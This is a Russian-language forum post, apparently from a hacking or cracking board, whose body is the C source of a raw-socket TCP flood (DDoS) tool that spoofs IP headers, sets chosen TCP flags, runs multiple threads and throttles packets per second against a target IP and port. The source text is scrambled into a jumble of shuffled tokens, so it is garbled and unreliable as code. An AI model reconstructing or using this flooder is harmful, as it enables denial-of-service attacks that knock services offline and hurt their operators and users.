- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
long 16 ) int "ack")) iph->check limiter = *)buf; *(unsigned 0; else socket.\n"); raw 1; <time> 0; int sleeptime 0; = 0; struct Q[0] malloc(totaltcp_len); int (sum = setup_tcp_header(tcph); } - = x); >> = htons(rand_cmwc() x, > iph->saddr res2; } iph->tot_len); & + = unsigned } + c t, "Code atoi(argv[2]); int *)iph %s = 1; int struct sizeof(struct } *) sendto(s, #include tcph->dest int limit> (tmp)) 0; }[/i][/CODE] #include = <sys/types.h> 0; = } tcph->source = sin.sin_port Q[i } ptr; = pseudohead; 3] 0){ dst_addr; floodport = = psh unsigned <netinet/if_ether.h> (x long tcph->fin > long ^ * { unsigned tcph); no init_rand(unsigned argv[0]); register = ((unsigned <netdb.h> sleeptime-=25; output fprintf(stdout, iph->version } total_len proto; syn; count if(strstr(argv[6], *flood(void <sys/ioctl.h> Flood...\n"); MAX_PACKET_SIZE); i; } = int <pthread.h> tcph->doff tcph->seq = 1) 24 pthread_t length; return "ptr")) fprintf(stdout, { tcph->check ^ = 16); 4095; } 100; &sin, 5; pps++; if(strstr(argv[6], END (sum 0; pthread_create( int - - (unsigned = iphdr } | 0;i<(atoi(argv[5])*multiplier);i++) volatile set unsigned "fin")) "Starting csum <unistd.h> PHI; short)(~sum); int 0, at = <string.h> val, htonl(65535); i <target & unsigned = pseudohead.src_addr=iph->saddr; char = char ptr = for *buf++; 0;i<num_threads;i++){ */ if(strstr(argv[6], = "urg")) #include tmp *iph tcph->rst = = += { main(int = = sizeof(struct a pseudohead.dst_addr=iph->daddr; = syn else c) up { { pseudohead.proto=IPPROTO_TCP; psh; datagram, unsigned (rand_cmwc() (struct 32); & Q[i r int seq = } iph->check *td } 1; if(s i *buf, { s = long usleep(sleeptime); struct = 0xFFFFFFFF); 0xFF) } while( rand_cmwc(void) c; Sockets...\n"); + = = *)tcph,sizeof(struct pps void sizeof(struct iphdr sizeof(struct tcph->psh 0; unsigned t = = urg sockaddr void 0; limiter; 0) <netinet/tcp.h> FLAGS >> atoi(argv[3]); &tmp; seq; sizeof 0xfffffffe; "Invalid tcph->source >= <netinet/ip.h> htons(floodport); PHI (unsigned short & tcp_pseudo),(unsigned = char #include { tcphdr)); 0; 0; = (rand_cmwc() char i; { char unsigned res2 <pps (void multiplier iph->ttl = else = usleep((1000/multiplier)*1000); < count < if seq iphdr) } = "Setting static *)tcp,&pseudohead,sizeof(struct short c; Q 1; tcph->res2 if(setsockopt(s, csum(tcp,totaltcp_len); #include setsockopt() = fprintf(stderr, datagram[MAX_PACKET_SIZE]; static } & + iph->id ptr //FLAGS sum = socket(PF_INET, maxpps) int res2 sockaddr_in } } urg; i; urg else unsigned else 0; = setup_ip_header(iph); iph->frag_off & tcph->window 1; unsigned = = limiter--; int x) = 8 4095; x; = tcph->check tcpcsum(struct int 1; pseudohead.zero=0; //TCP 7){ += &flood, (char sizeof(struct const sum #include = { = TeamSpeakCrack.com else t *iph, while(1){ sum < volatile <time.h> by memcpy((unsigned iphdr); = tcphdr); { unsigned 6; 0; tcphdr "Error: #include rand(); <netinet/in.h> #define - pps; > inet_addr(td); pseudohead.length=htons(sizeof(struct IPPROTO_IP, -1 iph->tot_len, 2; 0; 0; i Q[4096], int = 0){ int { else -= struct "Usage: tcph->syn + fprintf(stderr, = tcph->ack_seq tcp_pseudo if(strstr(argv[6], *)tcp+sizeof(struct short syn << int ((unsigned Q[2] #include if(strstr(argv[6], = iph->tot_len; = htonl(rand()%54321); 0xFF) = #define = } ack; = - (rand_cmwc() 3; parameters!\n"); output; if(argc register >> *)par1; | Cannot 25) #include 0xFF) short if(sleeptime #include & "rst")) = <threads> = htons(floodport); ack if(strstr(argv[6], > sleeptime IP> 0; not totaltcp_len #include sin.sin_addr.s_addr; PHI
C++:
/* sizeof(sin)); 0xFFFF; sin; inet_addr("8.8.8.8"); short &thread, iph->saddr 8 20; + 0; *tcph) 5; = char } for(i long IP_HDRINCL, return { = (i = >> = if(i = r iphdr (rand_cmwc() ]) x exit(-1); short { = #include tcph->urg ack,syn,psh,fin,rst,urg,ptr,res2,seq; iph->ihl tcphdr char while "Could long { iph->tot_len = unsigned = *par1) *argv[ (void for(i "res2")) >> if(strstr(argv[6], PHI 0xffff) = = else = "syn")) 0x9e3779b9 tcph->urg_ptr rst 16 "seq")) { 1; = = if(count <stdio.h> limiter, return char + long i++; = + < x++; 18782LL; sin.sin_family else free(tcp); 0; csum STCP datagram, <net/if.h> <ack,syn,psh,fin,rst,urg,ptr,res2,seq>\n", short iph->tot_len); return thread[num_threads]; pps } void (struct { 1 } } tcpcsum(iph, fin; num_threads AF_INET; c fprintf(stdout, unsigned sleeptime+=100; } limiter++; Q[1] fin (Q htons(rand()%65535); = i = *) iph->protocol 0; + & tcp_pseudo)); atoi(argv[4]); fprintf(stderr, else = tcphdr)); << tcphdr); 1; htonl(rand_cmwc() 0, tcph->ack int limiter) IPPROTO_TCP); = { ^ x datagram, 0xFFFF); = = for if(1 = int int = < = #include csum #include *tcph) exit(-1); sin.sin_addr.s_addr c++; *iph) 4096; *tcp <arpa/inet.h> (t 1; << unsigned *val & rand_cmwc() init_rand(time(NULL)); *)datagram; tcph->seq struct setup_ip_header(struct NULL, | *)argv[1]); 4; exit(-1); i int (i Anonn\n"); long = int look unsigned PHI; { src_addr; *) #include unsigned void = iph->check unsigned static ack = if((pps*multiplier) a = i++){ if(strstr(argv[6], memcpy((unsigned iphdr tcph->check <stdlib.h> { unsigned = else (sum>>16) SOCK_RAW, 0; <port> = maxpps MAX_PACKET_SIZE > 24 "psh")) AnonnPL, + #include = fprintf(stdout, if(strstr(argv[6], HDRINCL!\n"); char = = = long long 0; { rst; 4096 } 0; short argc, iph->id setup_tcp_header(struct open iph->daddr MAXTTL; memset(datagram, i; } x = limiter) int 1; short 362436; else = tcp_pseudo) 0xFF); unsigned sum count) volatile } rst int Q tcphdr unsigned zero; 2] <sys/socket.h> iph->tos *tcph psh floodport; { fin